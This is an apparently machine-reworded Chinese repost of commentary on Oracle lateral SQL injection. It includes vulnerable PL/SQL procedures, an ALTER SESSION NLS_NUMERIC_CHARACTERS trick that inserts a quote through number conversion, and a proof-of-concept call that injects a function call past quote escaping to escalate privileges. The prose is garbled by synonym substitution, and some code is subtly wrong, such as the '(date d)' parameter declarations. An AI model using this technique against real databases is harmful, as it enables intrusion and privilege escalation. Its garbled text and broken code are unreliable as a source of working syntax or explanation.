个人见解 ORACLE LATERAL-SQL-INJECTION[网络技术]
本文“个人见解 ORACLE LATERAL-SQL-INJECTION[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
原PAPER地址:
http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf
author : kj021320
team : I.S.T.O
近来忙啊忙啊的,本日终于有点点时间抽出来看看技术文章了,近来国外又出了关于新型ORA注入技术的PAPER,赶忙测试,主如果呈目前SQL语句字符拼接的时刻,DATE范例转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格局字符呈现问题.
假如直接履行SQL语句大概参数绑定则不用耽忧太多,
如以下ORACLE存储历程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需求耽忧遭遭到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?普通都是采取了动态SQL而又不采取参数绑定的语句.
比方工程师常常用的DBMS_SQL大概EXECUTE IMMEDIATE
看以下存储历程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate 'insert into kjdatetable values('|| d ||')';
commit;
end;
那么碰到以上的存储历程大概函数等,也通过改正SESSION中的NLS_DATE_FORMAT中的值到达SQL注射的目的,
老外的PAPER讲授得非常具体了 ,我在这里也不废话.
唯独关于 NUMBER范例的注射没有多作讲授 只是简单演示了可以输出单引号!
看以下语句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS='''.';
SELECT to_number(1000.10001,'999999D99999')||'' FROM DUAL;
输出一下后果
1000'10001
只是多了一个单引号,那有什么用呢?乐观的来说!在特定情形下是很有代价的!看以下一个存储历程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,'''','''''');
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name='''||SecStr||'''');
end;
内部对varchar范例举行替换了!我们可以举行测试
begin
numinjpoc(1000,'''--');
end;
其输出SQL语句为
SELECT * FROM DUAL WHERE ID=1000 and name='''--'
单引号被转义掉了
那么假如我们结合这个NUMBER范例怎么举行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS='''.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999'),'||kj.exp()--');
end;
看看输出后果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()--'
这样便可以间接的攻击它…
在某中程度才来需求ALTER SESSION 配合后,再去攻击系统内部的一些函数大概历程来晋升权限.何尝不是一种好的冲破思绪,但是关于单语句举行SQL注射攻击,今后果为向导的话!这样的方法没多大作为.
以上是“个人见解 ORACLE LATERAL-SQL-INJECTION[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |